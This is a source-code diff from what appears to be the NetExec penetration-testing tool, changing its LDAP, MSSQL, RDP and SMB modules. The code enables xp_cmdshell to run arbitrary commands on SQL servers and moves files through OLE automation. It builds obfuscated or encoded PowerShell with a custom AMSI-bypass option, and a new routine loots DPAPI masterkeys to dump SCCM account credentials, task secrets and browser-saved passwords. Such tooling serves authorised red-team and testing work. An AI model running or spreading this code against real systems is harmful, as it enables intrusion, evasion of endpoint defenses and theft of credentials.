attributes = [attr.strip() for attr in self.args.query[1].split(" ")]
|
||||
if len(attributes) == 1 and attributes[0] == "":
|
||||
attributes = None
|
||||
if not search_filter:
|
||||
self.logger.fail("No filter specified")
|
||||
return
|
||||
self.logger.debug(f"Querying LDAP server with filter: {search_filter} and attributes: {attributes}")
|
||||
try:
|
||||
resp = self.search(search_filter, attributes, 0)
|
||||
except LDAPFilterSyntaxError as e:
|
||||
self.logger.fail(f"LDAP Filter Syntax Error: {e}")
|
||||
return
|
||||
for item in resp:
|
||||
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
|
||||
continue
|
||||
self.logger.success(f"Response for object: {item['objectName']}")
|
||||
for attribute in item["attributes"]:
|
||||
attr = f"{attribute['type']}:"
|
||||
vals = str(attribute["vals"]).replace("\n", "")
|
||||
if "SetOf: " in vals:
|
||||
vals = vals.replace("SetOf: ", "")
|
||||
self.logger.highlight(f"{attr:<20} {vals}")
|
||||
|
||||
def trusted_for_delegation(self):
|
||||
# Building the search filter
|
||||
searchFilter = "(userAccountControl:1.2.840.113556.1.4.803:=524288)"
|
||||
@@ -1371,9 +1402,9 @@ class ldap(connection):
|
||||
ad = AD(
|
||||
auth=auth,
|
||||
domain=self.domain,
|
||||
nameserver=self.args.nameserver,
|
||||
dns_tcp=False,
|
||||
dns_timeout=3,
|
||||
nameserver=self.args.dns_server,
|
||||
dns_tcp=self.args.dns_tcp,
|
||||
dns_timeout=self.args.dns_timeout,
|
||||
)
|
||||
collect = resolve_collection_methods("Default" if not self.args.collection else self.args.collection)
|
||||
if not collect:
|
||||
|
||||
@@ -2,7 +2,7 @@ from pathlib import Path
|
||||
from sqlalchemy.orm import sessionmaker, scoped_session
|
||||
from sqlalchemy import MetaData, Table
|
||||
from sqlalchemy.exc import (
|
||||
IllegalStateChangeError,
|
||||
# IllegalStateChangeError,
|
||||
NoInspectionAvailable,
|
||||
NoSuchTableError,
|
||||
)
|
||||
@@ -66,7 +66,7 @@ class database:
|
||||
# due to the async nature of nxc, sometimes session state is a bit messy and this will throw:
|
||||
# Method 'close()' can't be called here; method '_connection_for_bind()' is already in progress and
|
||||
# this would cause an unexpected state change to <SessionTransactionState.CLOSED: 5>
|
||||
except IllegalStateChangeError as e:
|
||||
except Exception as e:
|
||||
nxc_logger.debug(f"Error while closing session db object: {e}")
|
||||
|
||||
def clear_database(self):
|
||||
|
||||
@@ -1,7 +1,10 @@
|
||||
def proto_args(parser, std_parser, module_parser):
|
||||
ldap_parser = parser.add_parser("ldap", help="own stuff using LDAP", parents=[std_parser, module_parser])
|
||||
from nxc.helpers.args import DisplayDefaultsNotNone
|
||||
|
||||
|
||||
def proto_args(parser, parents):
|
||||
ldap_parser = parser.add_parser("ldap", help="own stuff using LDAP", parents=parents, formatter_class=DisplayDefaultsNotNone)
|
||||
ldap_parser.add_argument("-H", "--hash", metavar="HASH", dest="hash", nargs="+", default=[], help="NTLM hash(es) or file(s) containing NTLM hashes")
|
||||
ldap_parser.add_argument("--port", type=int, choices={389, 636}, default=389, help="LDAP port (default: 389)")
|
||||
ldap_parser.add_argument("--port", type=int, default=389, help="LDAP port")
|
||||
ldap_parser.add_argument("--no-smb", action="store_true", help="No smb connection")
|
||||
|
||||
dgroup = ldap_parser.add_mutually_exclusive_group()
|
||||
@@ -13,6 +16,7 @@ def proto_args(parser, std_parser, module_parser):
|
||||
egroup.add_argument("--kerberoasting", help="Output TGS ticket to crack with hashcat to file")
|
||||
|
||||
vgroup = ldap_parser.add_argument_group("Retrieve useful information on the domain", "Options to to play with Kerberos")
|
||||
vgroup.add_argument("--query", nargs=2, help="Query LDAP with a custom filter and attributes")
|
||||
vgroup.add_argument("--trusted-for-delegation", action="store_true", help="Get the list of users and computers with flag TRUSTED_FOR_DELEGATION")
|
||||
vgroup.add_argument("--password-not-required", action="store_true", help="Get the list of users with flag PASSWD_NOTREQD")
|
||||
vgroup.add_argument("--admin-count", action="store_true", help="Get objets that had the value adminCount=1")
|
||||
@@ -29,7 +33,6 @@ def proto_args(parser, std_parser, module_parser):
|
||||
|
||||
bgroup = ldap_parser.add_argument_group("Bloodhound Scan", "Options to play with Bloodhoud")
|
||||
bgroup.add_argument("--bloodhound", action="store_true", help="Perform a Bloodhound scan")
|
||||
bgroup.add_argument("-ns", "--nameserver", help="Custom DNS IP")
|
||||
bgroup.add_argument("-c", "--collection", help="Which information to collect. Supported: Group, LocalAdmin, Session, Trusts, Default, DCOnly, DCOM, RDP, PSRemote, LoggedOn, Container, ObjectProps, ACL, All. You can specify more than one by separating them with a comma. (default: Default)'")
|
||||
bgroup.add_argument("-c", "--collection", default="Collection", help="Which information to collect. Supported: Group, LocalAdmin, Session, Trusts, Default, DCOnly, DCOM, RDP, PSRemote, LoggedOn, Container, ObjectProps, ACL, All. You can specify more than one by separating them with a comma")
|
||||
|
||||
return parser
|
||||
return parser
|
||||
+42
-28
@@ -2,6 +2,7 @@ import os
|
||||
import random
|
||||
import socket
|
||||
import contextlib
|
||||
from io import StringIO
|
||||
|
||||
from nxc.config import process_secret
|
||||
from nxc.connection import connection
|
||||
@@ -300,42 +301,55 @@ class mssql(connection):
|
||||
|
||||
@requires_admin
|
||||
def execute(self, payload=None, get_output=False):
|
||||
if not payload and self.args.execute:
|
||||
payload = self.args.execute
|
||||
|
||||
if not self.args.no_output:
|
||||
get_output = True
|
||||
|
||||
self.logger.info(f"Command to execute: {payload}")
|
||||
payload = self.args.execute if not payload and self.args.execute else payload
|
||||
if not payload:
|
||||
self.logger.error("No command to execute specified!")
|
||||
return None
|
||||
|
||||
get_output = True if not self.args.no_output else get_output
|
||||
self.logger.debug(f"{get_output=}")
|
||||
|
||||
try:
|
||||
exec_method = MSSQLEXEC(self.conn, self.logger)
|
||||
raw_output = exec_method.execute(payload, get_output)
|
||||
output = exec_method.execute(payload)
|
||||
self.logger.debug(f"Output: {output}")
|
||||
except Exception as e:
|
||||
self.logger.fail(f"Execute command failed, error: {e!s}")
|
||||
return False
|
||||
else:
|
||||
self.logger.success("Executed command via mssqlexec")
|
||||
if raw_output:
|
||||
for line in raw_output:
|
||||
self.logger.highlight(line)
|
||||
return raw_output
|
||||
self.logger.success("Executed command via mssqlexec")
|
||||
if output:
|
||||
output_lines = StringIO(output).readlines()
|
||||
for line in output_lines:
|
||||
self.logger.highlight(line.strip())
|
||||
return output
|
||||
|
||||
@requires_admin
|
||||
def ps_execute(
|
||||
self,
|
||||
payload=None,
|
||||
get_output=False,
|
||||
force_ps32=False,
|
||||
dont_obfs=False,
|
||||
):
|
||||
if not payload and self.args.ps_execute:
|
||||
payload = self.args.ps_execute
|
||||
if not self.args.no_output:
|
||||
get_output = True
|
||||
|
||||
# We're disabling PS obfuscation by default as it breaks the MSSQLEXEC execution method
|
||||
ps_command = create_ps_command(payload, force_ps32=force_ps32, dont_obfs=dont_obfs)
|
||||
return self.execute(ps_command, get_output)
|
||||
def ps_execute(self, payload=None, get_output=False, methods=None, force_ps32=False, obfs=False, encode=False):
|
||||
payload = self.args.ps_execute if not payload and self.args.ps_execute else payload
|
||||
if not payload:
|
||||
self.logger.error("No command to execute specified!")
|
||||
return None
|
||||
|
||||
response = []
|
||||
obfs = obfs if obfs else self.args.obfs
|
||||
encode = encode if encode else not self.args.no_encode
|
||||
force_ps32 = force_ps32 if force_ps32 else self.args.force_ps32
|
||||
get_output = True if not self.args.no_output else get_output
|
||||
|
||||
self.logger.debug(f"Starting PS execute: {payload=} {get_output=} {methods=} {force_ps32=} {obfs=} {encode=}")
|
||||
amsi_bypass = self.args.amsi_bypass[0] if self.args.amsi_bypass else None
|
||||
self.logger.debug(f"AMSI Bypass: {amsi_bypass}")
|
||||
|
||||
if os.path.isfile(payload):
|
||||
self.logger.debug(f"File payload set: {payload}")
|
||||
with open(payload) as commands:
|
||||
response = [self.execute(create_ps_command(c.strip(), force_ps32=force_ps32, obfs=obfs, custom_amsi=amsi_bypass, encode=encode), get_output) for c in commands]
|
||||
else:
|
||||
response = [self.execute(create_ps_command(payload, force_ps32=force_ps32, obfs=obfs, custom_amsi=amsi_bypass, encode=encode), get_output)]
|
||||
|
||||
self.logger.debug(f"ps_execute response: {response}")
|
||||
return response
|
||||
|
||||
@requires_admin
|
||||
def put_file(self):
|
||||
|
||||
@@ -2,7 +2,7 @@ from pathlib import Path
|
||||
from sqlalchemy import MetaData, func, Table, select, insert, update, delete
|
||||
from sqlalchemy.dialects.sqlite import Insert # used for upsert
|
||||
from sqlalchemy.exc import (
|
||||
IllegalStateChangeError,
|
||||
# IllegalStateChangeError,
|
||||
NoInspectionAvailable,
|
||||
NoSuchTableError,
|
||||
)
|
||||
@@ -89,7 +89,7 @@ class database:
|
||||
# due to the async nature of nxc, sometimes session state is a bit messy and this will throw:
|
||||
# Method 'close()' can't be called here; method '_connection_for_bind()' is already in progress and
|
||||
# this would cause an unexpected state change to <SessionTransactionState.CLOSED: 5>
|
||||
except IllegalStateChangeError as e:
|
||||
except Exception as e:
|
||||
nxc_logger.debug(f"Error while closing session db object: {e}")
|
||||
|
||||
def clear_database(self):
|
||||
|
||||
@@ -5,70 +5,85 @@ class MSSQLEXEC:
|
||||
def __init__(self, connection, logger):
|
||||
self.mssql_conn = connection
|
||||
self.logger = logger
|
||||
self.outputBuffer = []
|
||||
|
||||
def execute(self, command, output=False):
|
||||
def execute(self, command):
|
||||
result = None
|
||||
try:
|
||||
self.logger.debug("Attempting to enable xp cmd shell")
|
||||
self.enable_xp_cmdshell()
|
||||
except Exception as e:
|
||||
self.logger.error(f"Error when attempting to enable x_cmdshell: {e}")
|
||||
|
||||
try:
|
||||
result = self.mssql_conn.sql_query(f"exec master..xp_cmdshell '{command}'")
|
||||
cmd = f"exec master..xp_cmdshell '{command}'"
|
||||
self.logger.debug(f"Attempting to execute query: {cmd}")
|
||||
result = self.mssql_conn.sql_query(cmd)
|
||||
self.logger.debug(f"Raw results from query: {result}")
|
||||
if result:
|
||||
result = "\n".join(line["output"] for line in result if line["output"] != "NULL")
|
||||
self.logger.debug(f"Concatenated result together for easier parsing: {result}")
|
||||
# if you prepend SilentlyContinue it will still output the error, but it will still continue on (so it's not silent...)
|
||||
if "Preparing modules for first use" in result and "Completed" not in result:
|
||||
self.logger.error("Error when executing PowerShell (received 'preparing modules for first use'), try prepending $ProgressPreference = 'SilentlyContinue'; to your command")
|
||||
except Exception as e:
|
||||
self.logger.error(f"Error when attempting to execute command via xp_cmdshell: {e}")
|
||||
|
||||
try:
|
||||
self.logger.debug("Attempting to disable xp cmd shell")
|
||||
self.disable_xp_cmdshell()
|
||||
except Exception as e:
|
||||
self.logger.error(f"[OPSEC] Error when attempting to disable xp_cmdshell: {e}")
|
||||
|
||||
if output:
|
||||
self.logger.debug(f"SQL Query Result: {result}")
|
||||
for row in result:
|
||||
if row["output"] == "NULL":
|
||||
continue
|
||||
self.outputBuffer.append(row["output"])
|
||||
else:
|
||||
self.logger.info("Output set to disabled")
|
||||
|
||||
return self.outputBuffer
|
||||
return result
|
||||
|
||||
def enable_xp_cmdshell(self):
|
||||
self.mssql_conn.sql_query("exec master.dbo.sp_configure 'show advanced options',1;RECONFIGURE;exec master.dbo.sp_configure 'xp_cmdshell', 1;RECONFIGURE;")
|
||||
query = "exec master.dbo.sp_configure 'show advanced options',1;RECONFIGURE;exec master.dbo.sp_configure 'xp_cmdshell', 1;RECONFIGURE;"
|
||||
self.logger.debug(f"Executing query: {query}")
|
||||
self.mssql_conn.sql_query(query)
|
||||
|
||||
def disable_xp_cmdshell(self):
|
||||
self.mssql_conn.sql_query("exec sp_configure 'xp_cmdshell', 0 ;RECONFIGURE;exec sp_configure 'show advanced options', 0 ;RECONFIGURE;")
|
||||
query = "exec sp_configure 'xp_cmdshell', 0 ;RECONFIGURE;exec sp_configure 'show advanced options', 0 ;RECONFIGURE;"
|
||||
self.logger.debug(f"Executing query: {query}")
|
||||
self.mssql_conn.sql_query(query)
|
||||
|
||||
def enable_ole(self):
|
||||
self.mssql_conn.sql_query("exec master.dbo.sp_configure 'show advanced options',1;RECONFIGURE;exec master.dbo.sp_configure 'Ole Automation Procedures', 1;RECONFIGURE;")
|
||||
query = "exec master.dbo.sp_configure 'show advanced options',1;RECONFIGURE;exec master.dbo.sp_configure 'Ole Automation Procedures', 1;RECONFIGURE;"
|
||||
self.logger.debug(f"Executing query: {query}")
|
||||
self.mssql_conn.sql_query(query)
|
||||
|
||||
def disable_ole(self):
|
||||
self.mssql_conn.sql_query("exec master.dbo.sp_configure 'show advanced options',1;RECONFIGURE;exec master.dbo.sp_configure 'Ole Automation Procedures', 0;RECONFIGURE;")
|
||||
query = "exec master.dbo.sp_configure 'show advanced options',1;RECONFIGURE;exec master.dbo.sp_configure 'Ole Automation Procedures', 0;RECONFIGURE;"
|
||||
self.logger.debug(f"Executing query: {query}")
|
||||
self.mssql_conn.sql_query(query)
|
||||
|
||||
def put_file(self, data, remote):
|
||||
try:
|
||||
self.enable_ole()
|
||||
hexdata = data.hex()
|
||||
self.mssql_conn.sql_query(f"DECLARE @ob INT;EXEC sp_OACreate 'ADODB.Stream', @ob OUTPUT;EXEC sp_OASetProperty @ob, 'Type', 1;EXEC sp_OAMethod @ob, 'Open';EXEC sp_OAMethod @ob, 'Write', NULL, 0x{hexdata};EXEC sp_OAMethod @ob, 'SaveToFile', NULL, '{remote}', 2;EXEC sp_OAMethod @ob, 'Close';EXEC sp_OADestroy @ob;")
|
||||
self.logger.debug(f"Hex data to write to file: {hexdata}")
|
||||
query = f"DECLARE @ob INT;EXEC sp_OACreate 'ADODB.Stream', @ob OUTPUT;EXEC sp_OASetProperty @ob, 'Type', 1;EXEC sp_OAMethod @ob, 'Open';EXEC sp_OAMethod @ob, 'Write', NULL, 0x{hexdata};EXEC sp_OAMethod @ob, 'SaveToFile', NULL, '{remote}', 2;EXEC sp_OAMethod @ob, 'Close';EXEC sp_OADestroy @ob;"
|
||||
self.logger.debug(f"Executing query: {query}")
|
||||
self.mssql_conn.sql_query(query)
|
||||
self.disable_ole()
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Error uploading via mssqlexec: {e}")
|
||||
|
||||
def file_exists(self, remote):
|
||||
try:
|
||||
res = self.mssql_conn.batch(f"DECLARE @r INT; EXEC master.dbo.xp_fileexist '{remote}', @r OUTPUT; SELECT @r as n")[0]["n"]
|
||||
return res == 1
|
||||
query = f"DECLARE @r INT; EXEC master.dbo.xp_fileexist '{remote}', @r OUTPUT; SELECT @r as n"
|
||||
self.logger.debug(f"Executing query: {query}")
|
||||
res = self.mssql_conn.batch(query)
|
||||
self.logger.debug(f"File check response: {res}")
|
||||
return res[0]["n"] == 1
|
||||
except Exception:
|
||||
return False
|
||||
|
||||
def get_file(self, remote, local):
|
||||
try:
|
||||
self.mssql_conn.sql_query(f"SELECT * FROM OPENROWSET(BULK N'{remote}', SINGLE_BLOB) rs")
|
||||
data = self.mssql_conn.rows[0]["BulkColumn"]
|
||||
|
||||
query = f"SELECT * FROM OPENROWSET(BULK N'{remote}', SINGLE_BLOB) rs"
|
||||
self.logger.debug(f"Executing query: {query}")
|
||||
self.mssql_conn.sql_query(query)
|
||||
data = self.mssql_conn.rows
|
||||
self.logger.debug(f"Get file returned: {data}")
|
||||
with open(local, "wb+") as f:
|
||||
f.write(binascii.unhexlify(data))
|
||||
|
||||
f.write(binascii.unhexlify(data[0]["BulkColumn"]))
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Error downloading via mssqlexec: {e}")
|
||||
@@ -1,8 +1,11 @@
|
||||
def proto_args(parser, std_parser, module_parser):
|
||||
mssql_parser = parser.add_parser("mssql", help="own stuff using MSSQL", parents=[std_parser, module_parser])
|
||||
from nxc.helpers.args import DisplayDefaultsNotNone
|
||||
|
||||
|
||||
def proto_args(parser, parents):
|
||||
mssql_parser = parser.add_parser("mssql", help="own stuff using MSSQL", parents=parents, formatter_class=DisplayDefaultsNotNone)
|
||||
mssql_parser.add_argument("-H", "--hash", metavar="HASH", dest="hash", nargs="+", default=[], help="NTLM hash(es) or file(s) containing NTLM hashes")
|
||||
mssql_parser.add_argument("--port", default=1433, type=int, metavar="PORT", help="MSSQL port (default: 1433)")
|
||||
mssql_parser.add_argument("--mssql-timeout", help="SQL server connection timeout, default is %(default)s seconds", type=int, default=5)
|
||||
mssql_parser.add_argument("--port", default=1433, type=int, metavar="PORT", help="MSSQL port")
|
||||
mssql_parser.add_argument("--mssql-timeout", help="SQL server connection timeout", type=int, default=5)
|
||||
mssql_parser.add_argument("-q", "--query", dest="mssql_query", metavar="QUERY", type=str, help="execute the specified query against the MSSQL DB")
|
||||
|
||||
dgroup = mssql_parser.add_mutually_exclusive_group()
|
||||
@@ -10,18 +13,20 @@ def proto_args(parser, std_parser, module_parser):
|
||||
dgroup.add_argument("--local-auth", action="store_true", help="authenticate locally to each target")
|
||||
|
||||
cgroup = mssql_parser.add_argument_group("Command Execution", "options for executing commands")
|
||||
cgroup.add_argument("--force-ps32", action="store_true", help="force the PowerShell command to run in a 32-bit process")
|
||||
cgroup.add_argument("--no-output", action="store_true", help="do not retrieve command output")
|
||||
xgroup = cgroup.add_mutually_exclusive_group()
|
||||
xgroup.add_argument("-x", metavar="COMMAND", dest="execute", help="execute the specified command")
|
||||
xgroup.add_argument("-X", metavar="PS_COMMAND", dest="ps_execute", help="execute the specified PowerShell command")
|
||||
|
||||
psgroup = mssql_parser.add_argument_group("Powershell Obfuscation", "Options for PowerShell script obfuscation")
|
||||
psgroup.add_argument("--obfs", action="store_true", help="Obfuscate PowerShell scripts")
|
||||
psgroup = mssql_parser.add_argument_group("Powershell Options", "Options for PowerShell execution")
|
||||
psgroup.add_argument("--force-ps32", action="store_true", default=False, help="Force the PowerShell command to run in a 32-bit process via a job; WARNING: depends on the job completing quickly, so you may have to increase the timeout")
|
||||
psgroup.add_argument("--obfs", action="store_true", default=False, help="Obfuscate PowerShell ran on target; WARNING: Defender will almost certainly trigger on this")
|
||||
psgroup.add_argument("--amsi-bypass", nargs=1, metavar="FILE", type=str, help="File with a custom AMSI bypass")
|
||||
psgroup.add_argument("--clear-obfscripts", action="store_true", help="Clear all cached obfuscated PowerShell scripts")
|
||||
psgroup.add_argument("--no-encode", action="store_true", default=False, help="Do not encode the PowerShell command ran on target")
|
||||
|
||||
tgroup = mssql_parser.add_argument_group("Files", "Options for put and get remote files")
|
||||
tgroup.add_argument("--put-file", nargs=2, metavar=("SRC_FILE", "DEST_FILE"), help="Put a local file into remote target, ex: whoami.txt C:\\Windows\\Temp\\whoami.txt")
|
||||
tgroup.add_argument("--get-file", nargs=2, metavar=("SRC_FILE", "DEST_FILE"), help="Get a remote file, ex: C:\\Windows\\Temp\\whoami.txt whoami.txt")
|
||||
tgroup.add_argument("--put-file", nargs=2, metavar=("SRC_FILE", "DEST_FILE"), help="Put a local file into remote target, ex: whoami.txt C:\\\\Windows\\\\Temp\\\\whoami.txt")
|
||||
tgroup.add_argument("--get-file", nargs=2, metavar=("SRC_FILE", "DEST_FILE"), help="Get a remote file, ex: C:\\\\Windows\\\\Temp\\\\whoami.txt whoami.txt")
|
||||
|
||||
return parser
|
||||
@@ -3,7 +3,7 @@ from pathlib import Path
|
||||
from sqlalchemy.orm import sessionmaker, scoped_session
|
||||
from sqlalchemy import MetaData, Table
|
||||
from sqlalchemy.exc import (
|
||||
IllegalStateChangeError,
|
||||
# IllegalStateChangeError,
|
||||
NoInspectionAvailable,
|
||||
NoSuchTableError,
|
||||
)
|
||||
@@ -69,7 +69,7 @@ class database:
|
||||
# due to the async nature of nxc, sometimes session state is a bit messy and this will throw:
|
||||
# Method 'close()' can't be called here; method '_connection_for_bind()' is already in progress and
|
||||
# this would cause an unexpected state change to <SessionTransactionState.CLOSED: 5>
|
||||
except IllegalStateChangeError as e:
|
||||
except Exception as e:
|
||||
nxc_logger.debug(f"Error while closing session db object: {e}")
|
||||
|
||||
def clear_database(self):
|
||||
|
||||
@@ -1,8 +1,11 @@
|
||||
def proto_args(parser, std_parser, module_parser):
|
||||
rdp_parser = parser.add_parser("rdp", help="own stuff using RDP", parents=[std_parser, module_parser])
|
||||
from nxc.helpers.args import DisplayDefaultsNotNone
|
||||
|
||||
|
||||
def proto_args(parser, parents):
|
||||
rdp_parser = parser.add_parser("rdp", help="own stuff using RDP", parents=parents, formatter_class=DisplayDefaultsNotNone)
|
||||
rdp_parser.add_argument("-H", "--hash", metavar="HASH", dest="hash", nargs="+", default=[], help="NTLM hash(es) or file(s) containing NTLM hashes")
|
||||
rdp_parser.add_argument("--port", type=int, default=3389, help="Custom RDP port")
|
||||
rdp_parser.add_argument("--rdp-timeout", type=int, default=5, help="RDP timeout on socket connection, defalut is %(default)ss")
|
||||
rdp_parser.add_argument("--port", type=int, default=3389, help="RDP port")
|
||||
rdp_parser.add_argument("--rdp-timeout", type=int, default=5, help="RDP timeout on socket connection")
|
||||
rdp_parser.add_argument("--nla-screenshot", action="store_true", help="Screenshot RDP login prompt if NLA is disabled")
|
||||
|
||||
dgroup = rdp_parser.add_mutually_exclusive_group()
|
||||
@@ -11,7 +14,7 @@ def proto_args(parser, std_parser, module_parser):
|
||||
|
||||
egroup = rdp_parser.add_argument_group("Screenshot", "Remote Desktop Screenshot")
|
||||
egroup.add_argument("--screenshot", action="store_true", help="Screenshot RDP if connection success")
|
||||
egroup.add_argument("--screentime", type=int, default=10, help="Time to wait for desktop image, default is %(default)ss")
|
||||
egroup.add_argument("--res", default="1024x768", help='Resolution in "WIDTHxHEIGHT" format. Default: "1024x768"')
|
||||
egroup.add_argument("--screentime", type=int, default=10, help="Time to wait for desktop image")
|
||||
egroup.add_argument("--res", default="1024x768", help="Resolution in WIDTHxHEIGHT format")
|
||||
|
||||
return parser
|
||||
+117
-35
@@ -49,12 +49,13 @@ from nxc.helpers.bloodhound import add_user_bh
|
||||
from nxc.helpers.powershell import create_ps_command
|
||||
|
||||
from dploot.triage.vaults import VaultsTriage
|
||||
from dploot.triage.browser import BrowserTriage
|
||||
from dploot.triage.browser import BrowserTriage, LoginData, GoogleRefreshToken
|
||||
from dploot.triage.credentials import CredentialsTriage
|
||||
from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file
|
||||
from dploot.triage.backupkey import BackupkeyTriage
|
||||
from dploot.lib.target import Target
|
||||
from dploot.lib.smb import DPLootSMBConnection
|
||||
from dploot.triage.sccm import SCCMTriage
|
||||
|
||||
from pywerview.cli.helpers import get_localdisks, get_netsession, get_netgroupmember, get_netgroup, get_netcomputer, get_netloggedon, get_netlocalgroup
|
||||
|
||||
@@ -681,14 +682,19 @@ class smb(connection):
|
||||
except UnicodeDecodeError:
|
||||
self.logger.debug("Decoding error detected, consider running chcp.com at the target, map the result with https://docs.python.org/3/library/codecs.html#standard-encodings")
|
||||
output = output.decode("cp437")
|
||||
|
||||
output = output.strip()
|
||||
self.logger.debug(f"Output: {output}")
|
||||
|
||||
self.logger.debug(f"Raw Output: {output}")
|
||||
output = "\n".join([ll.rstrip() for ll in output.splitlines() if ll.strip()])
|
||||
self.logger.debug(f"Cleaned Output: {output}")
|
||||
|
||||
if "This script contains malicious content" in output:
|
||||
self.logger.fail("Command execution blocked by AMSI")
|
||||
return None
|
||||
|
||||
if (self.args.execute or self.args.ps_execute) and output:
|
||||
self.logger.success(f"Executed command via {current_method}")
|
||||
buf = StringIO(output).readlines()
|
||||
for line in buf:
|
||||
output_lines = StringIO(output).readlines()
|
||||
for line in output_lines:
|
||||
self.logger.highlight(line.strip())
|
||||
return output
|
||||
else:
|
||||
@@ -696,26 +702,30 @@ class smb(connection):
|
||||
return False
|
||||
|
||||
@requires_admin
|
||||
def ps_execute(
|
||||
self,
|
||||
payload=None,
|
||||
get_output=False,
|
||||
methods=None,
|
||||
force_ps32=False,
|
||||
dont_obfs=False,
|
||||
):
|
||||
def ps_execute(self, payload=None, get_output=False, methods=None, force_ps32=False, obfs=False, encode=False):
|
||||
payload = self.args.ps_execute if not payload and self.args.ps_execute else payload
|
||||
if not payload:
|
||||
self.logger.error("No command to execute specified!")
|
||||
return None
|
||||
|
||||
response = []
|
||||
if not payload and self.args.ps_execute:
|
||||
payload = self.args.ps_execute
|
||||
if not self.args.no_output:
|
||||
get_output = True
|
||||
|
||||
obfs = obfs if obfs else self.args.obfs
|
||||
encode = encode if encode else not self.args.no_encode
|
||||
force_ps32 = force_ps32 if force_ps32 else self.args.force_ps32
|
||||
get_output = True if not self.args.no_output else get_output
|
||||
|
||||
self.logger.debug(f"Starting ps_execute(): {payload=} {get_output=} {methods=} {force_ps32=} {obfs=} {encode=}")
|
||||
amsi_bypass = self.args.amsi_bypass[0] if self.args.amsi_bypass else None
|
||||
self.logger.debug(f"AMSI Bypass: {amsi_bypass}")
|
||||
|
||||
if os.path.isfile(payload):
|
||||
self.logger.debug(f"File payload set: {payload}")
|
||||
with open(payload) as commands:
|
||||
response = [self.execute(create_ps_command(c.strip(), force_ps32=force_ps32, dont_obfs=dont_obfs, custom_amsi=amsi_bypass), get_output, methods) for c in commands]
|
||||
response = [self.execute(create_ps_command(c.strip(), force_ps32=force_ps32, obfs=obfs, custom_amsi=amsi_bypass, encode=encode), get_output, methods) for c in commands]
|
||||
else:
|
||||
response = [self.execute(create_ps_command(payload, force_ps32=force_ps32, dont_obfs=dont_obfs, custom_amsi=amsi_bypass), get_output, methods)]
|
||||
response = [self.execute(create_ps_command(payload, force_ps32=force_ps32, obfs=obfs, custom_amsi=amsi_bypass, encode=encode), get_output, methods)]
|
||||
|
||||
self.logger.debug(f"ps_execute response: {response}")
|
||||
return response
|
||||
|
||||
def shares(self):
|
||||
@@ -1117,7 +1127,8 @@ class smb(connection):
|
||||
record = wmi_results.getProperties()
|
||||
records.append(record)
|
||||
for k, v in record.items():
|
||||
self.logger.highlight(f"{k} => {v['value']}")
|
||||
if k != "TimeGenerated": # from the wcc module, but this is a small hack to get it to stop spamming - TODO: add in method to disable output for this function
|
||||
self.logger.highlight(f"{k} => {v['value']}")
|
||||
except Exception as e:
|
||||
if str(e).find("S_FALSE") < 0:
|
||||
raise e
|
||||
@@ -1289,6 +1300,7 @@ class smb(connection):
|
||||
for src, dest in self.args.get_file:
|
||||
self.get_file_single(src, dest)
|
||||
|
||||
|
||||
def enable_remoteops(self):
|
||||
try:
|
||||
self.remote_ops = RemoteOperations(self.conn, self.kerberos, self.kdcHost)
|
||||
@@ -1343,10 +1355,67 @@ class smb(connection):
|
||||
except Exception as e:
|
||||
self.logger.exception(str(e))
|
||||
|
||||
@requires_admin
|
||||
def sccm(self):
|
||||
masterkeys = []
|
||||
if self.args.mkfile is not None:
|
||||
try:
|
||||
masterkeys += parse_masterkey_file(self.args.mkfile)
|
||||
except Exception as e:
|
||||
self.logger.fail(str(e))
|
||||
|
||||
target = Target.create(
|
||||
domain=self.domain,
|
||||
username=self.username,
|
||||
password=self.password,
|
||||
target=self.hostname + "." + self.domain if self.kerberos else self.host,
|
||||
lmhash=self.lmhash,
|
||||
nthash=self.nthash,
|
||||
do_kerberos=self.kerberos,
|
||||
aesKey=self.aesKey,
|
||||
no_pass=True,
|
||||
use_kcache=self.use_kcache,
|
||||
)
|
||||
|
||||
try:
|
||||
conn = DPLootSMBConnection(target)
|
||||
conn.smb_session = self.conn
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Could not upgrade connection: {e}")
|
||||
return
|
||||
|
||||
try:
|
||||
self.logger.display("Collecting Machine masterkeys, grab a coffee and be patient...")
|
||||
masterkeys_triage = MasterkeysTriage(
|
||||
target=target,
|
||||
conn=conn,
|
||||
dpapiSystem={},
|
||||
)
|
||||
masterkeys += masterkeys_triage.triage_system_masterkeys()
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Could not get masterkeys: {e}")
|
||||
|
||||
if len(masterkeys) == 0:
|
||||
self.logger.fail("No masterkeys looted")
|
||||
return
|
||||
|
||||
self.logger.success(f"Got {highlight(len(masterkeys))} decrypted masterkeys. Looting SCCM Credentials through {self.args.sccm}")
|
||||
try:
|
||||
# Collect Chrome Based Browser stored secrets
|
||||
sccm_triage = SCCMTriage(target=target, conn=conn, masterkeys=masterkeys, use_wmi=self.args.sccm == "wmi")
|
||||
sccmcreds, sccmtasks, sccmcollections = sccm_triage.triage_sccm()
|
||||
for sccmcred in sccmcreds:
|
||||
self.logger.highlight(f"[NAA Account] {sccmcred.username.decode('latin-1')}:{sccmcred.password.decode('latin-1')}")
|
||||
for sccmtask in sccmtasks:
|
||||
self.logger.highlight(f"[Task sequences secret] {sccmtask.secret.decode('latin-1')}")
|
||||
for sccmcollection in sccmcollections:
|
||||
self.logger.highlight(f"[Collection Variable] {sccmcollection.variable.decode('latin-1')}:{sccmcollection.value.decode('latin-1')}")
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Error while looting sccm: {e}")
|
||||
|
||||
@requires_admin
|
||||
def dpapi(self):
|
||||
dump_system = "nosystem" not in self.args.dpapi
|
||||
logging.getLogger("dploot").disabled = True
|
||||
|
||||
if self.args.pvk is not None:
|
||||
try:
|
||||
@@ -1437,6 +1506,7 @@ class smb(connection):
|
||||
pvkbytes=self.pvkbytes,
|
||||
passwords=plaintexts,
|
||||
nthashes=nthashes,
|
||||
dpapiSystem={},
|
||||
)
|
||||
self.logger.debug(f"Masterkeys Triage: {masterkeys_triage}")
|
||||
masterkeys += masterkeys_triage.triage_masterkeys()
|
||||
@@ -1496,22 +1566,34 @@ class smb(connection):
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Error while looting browsers: {e}")
|
||||
for credential in browser_credentials:
|
||||
cred_url = credential.url + " -" if credential.url != "" else "-"
|
||||
self.logger.highlight(f"[{credential.winuser}][{credential.browser.upper()}] {cred_url} {credential.username}:{credential.password}")
|
||||
